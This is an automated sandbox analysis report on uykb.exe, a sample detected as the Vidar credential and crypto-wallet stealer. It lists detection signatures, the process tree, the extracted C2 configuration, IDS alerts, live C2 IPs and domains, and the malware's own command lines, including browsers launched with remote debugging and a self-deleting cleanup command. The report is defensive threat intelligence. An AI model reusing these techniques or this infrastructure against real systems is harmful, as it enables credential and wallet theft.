Edit tour

Windows Analysis Report
uykb.exe

Overview

General Information

Sample name:	uykb.exe
Analysis ID:	1604719
MD5:	37797bbf221a8b210a987c3822ee35fc
SHA1:	eaa09aee812bd2466c0b750f9edc7e66088c38e2
SHA256:	76106d902328efa1e4a8c815e57a130f763a0a1ed5bfd1ba5707874c3ddaa84c
Tags:	exevidaruser-aachum
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Joe Sandbox ML detected suspicious sample

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file has a writeable .text section

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Contains functionality to query locales information (e.g. system language)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

uykb.exe (PID: 1432 cmdline: "C:\Users\user\Desktop\uykb.exe" MD5: 37797BBF221A8B210A987C3822EE35FC)

chrome.exe (PID: 1816 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 3468 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=2496,i,3147034569589876625,13015211592495973922,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 8044 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7480 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2592 --field-trial-handle=2216,i,4845954379956193227,9401157771546190770,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 9144 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\g4op8" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 9188 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

msedge.exe (PID: 7496 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7764 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=2032,i,16506389847844219710,15461226408625240521,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7396 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6720 --field-trial-handle=2032,i,16506389847844219710,15461226408625240521,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 3580 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6884 --field-trial-handle=2032,i,16506389847844219710,15461226408625240521,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 8292 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6628 --field-trial-handle=2032,i,16506389847844219710,15461226408625240521,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 8340 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6628 --field-trial-handle=2032,i,16506389847844219710,15461226408625240521,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 7596 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6964 --field-trial-handle=2032,i,16506389847844219710,15461226408625240521,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": "https://steamcommunity.com/profiles/76561199820567237", "Botnet": "hac22tl"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000003.2175258608.00000000006E0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2660773016.00000000006D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: uykb.exe PID: 1432	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: uykb.exe PID: 1432	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\uykb.exe", ParentImage: C:\Users\user\Desktop\uykb.exe, ParentProcessId: 1432, ParentProcessName: uykb.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", ProcessId: 1816, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-01T21:59:00.324111+0100	2044247	1	Malware Command and Control Activity Detected	116.202.5.153	443	192.168.2.6	49714	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-01T21:59:01.668427+0100	2051831	1	Malware Command and Control Activity Detected	116.202.5.153	443	192.168.2.6	49716	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-01T21:58:58.986750+0100	2049087	1	A Network Trojan was detected	192.168.2.6	49713	116.202.5.153	443	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-01T21:59:03.000673+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	49722	116.202.5.153	443	TCP
2025-02-01T21:59:04.191030+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	49728	116.202.5.153	443	TCP
2025-02-01T21:59:12.300305+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	49810	116.202.5.153	443	TCP
2025-02-01T21:59:12.620319+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	49820	116.202.5.153	443	TCP
2025-02-01T21:59:13.653313+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	49830	116.202.5.153	443	TCP
2025-02-01T21:59:15.659424+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	49843	116.202.5.153	443	TCP
2025-02-01T21:59:17.498069+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	49851	116.202.5.153	443	TCP
2025-02-01T21:59:23.861525+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	49911	116.202.5.153	443	TCP
2025-02-01T21:59:24.626976+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	49929	116.202.5.153	443	TCP
2025-02-01T21:59:25.649000+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	49947	116.202.5.153	443	TCP
2025-02-01T21:59:26.721506+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	49965	116.202.5.153	443	TCP
2025-02-01T21:59:27.804435+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	49997	116.202.5.153	443	TCP
2025-02-01T21:59:29.832676+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50017	116.202.5.153	443	TCP
2025-02-01T21:59:31.020218+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50023	116.202.5.153	443	TCP
2025-02-01T21:59:35.739676+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50057	116.202.5.153	443	TCP
2025-02-01T21:59:37.794260+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50068	116.202.5.153	443	TCP
2025-02-01T21:59:39.891384+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50084	116.202.5.153	443	TCP
2025-02-01T21:59:40.864253+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50090	116.202.5.153	443	TCP
2025-02-01T21:59:41.816849+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50101	116.202.5.153	443	TCP
2025-02-01T21:59:43.254648+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50113	116.202.5.153	443	TCP

ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-01T21:59:12.620319+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.6	49820	116.202.5.153	443	TCP
2025-02-01T21:59:13.653313+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.6	49830	116.202.5.153	443	TCP
2025-02-01T21:59:15.659424+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.6	49843	116.202.5.153	443	TCP
2025-02-01T21:59:24.626976+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.6	49929	116.202.5.153	443	TCP
2025-02-01T21:59:25.649000+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.6	49947	116.202.5.153	443	TCP
2025-02-01T21:59:26.721506+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.6	49965	116.202.5.153	443	TCP
2025-02-01T21:59:27.804435+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.6	49997	116.202.5.153	443	TCP
2025-02-01T21:59:29.832676+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.6	50017	116.202.5.153	443	TCP
2025-02-01T21:59:31.020218+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.6	50023	116.202.5.153	443	TCP

ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-01T21:58:57.659373+0100	2859378	1	Malware Command and Control Activity Detected	192.168.2.6	49711	116.202.5.153	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://getyour.cyou/ge/	Avira URL Cloud: Label: malware
Source: https://getyour.cyou/geeodpfagjceefieflmdfphplkenlfk	Avira URL Cloud: Label: malware
Source: https://getyour.cyou/i	Avira URL Cloud: Label: malware
Source: https://getyour.cyou/wbi5	Avira URL Cloud: Label: malware
Source: https://getyour.cyou/g	Avira URL Cloud: Label: malware
Source: https://getyour.cyou/o	Avira URL Cloud: Label: malware
Source: https://getyour.cyou/N#	Avira URL Cloud: Label: malware
Source: https://getyour.cyou	Avira URL Cloud: Label: malware

Found malware configuration

Source: uykb.exe

Malware Configuration Extractor: Vidar {"C2 url": "https://steamcommunity.com/profiles/76561199820567237", "Botnet": "hac22tl"}

Multi AV Scanner detection for submitted file

Source: uykb.exe	ReversingLabs: Detection: 60%
Source: uykb.exe	Virustotal: Detection: 69%			Perma Link

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: uykb.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\uykb.exe

Code function: 0_2_00409C4D CryptUnprotectData,

0_2_00409C4D

Source: uykb.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.202.5.153:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50100 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50131 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50139 version: TLS 1.2

Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00421A6B FindFirstFileA,	0_2_00421A6B
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00420AD3 FindFirstFileA,	0_2_00420AD3
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0040F379 FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,	0_2_0040F379
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0040BC0C FindFirstFileA,CopyFileA,CopyFileA,FindNextFileA,	0_2_0040BC0C
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00422DC5 FindFirstFileA,FindNextFileA,	0_2_00422DC5
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0040A5E0 FindFirstFileA,FindNextFileA,CopyFileA,DeleteFileA,memset,CopyFileA,DeleteFileA,memset,	0_2_0040A5E0
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00401590 FindFirstFileA,	0_2_00401590
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0040CF73 FindFirstFileA,FindNextFileA,	0_2_0040CF73
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0041FF89 FindFirstFileA,memset,memset,memset,memset,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,	0_2_0041FF89

Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1 : 192.168.2.6:49713 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:49728 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2859378 - Severity 1 - ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2 : 192.168.2.6:49711 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:49722 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 116.202.5.153:443 -> 192.168.2.6:49714
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 116.202.5.153:443 -> 192.168.2.6:49716
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:49851 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:49843 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.6:49843 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:49830 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.6:49830 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:49810 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:49820 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.6:49820 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:49911 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:49947 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:49929 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.6:49929 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.6:49947 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:49965 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.6:49965 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50023 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.6:50023 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50017 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.6:50017 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:49997 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.6:49997 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50068 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50084 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50057 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50090 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50101 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50113 -> 116.202.5.153:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199820567237

Source: global traffic

TCP traffic: 192.168.2.6:49927 -> 1.1.1.1:53

Source: global traffic

HTTP traffic detected: GET /m08mbk HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 20.189.173.8 20.189.173.8
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.8
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.8
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.8
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.24
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.24
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.24
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.24
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.24
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.24
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108

Source: C:\Users\user\Desktop\uykb.exe

Code function: 0_2_00407A70 InternetOpenUrlA,InternetReadFile,

0_2_00407A70

Source: global traffic	HTTP traffic detected: GET /m08mbk HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0Host: getyour.cyouConnection: Keep-AliveCache-Control: no-cache
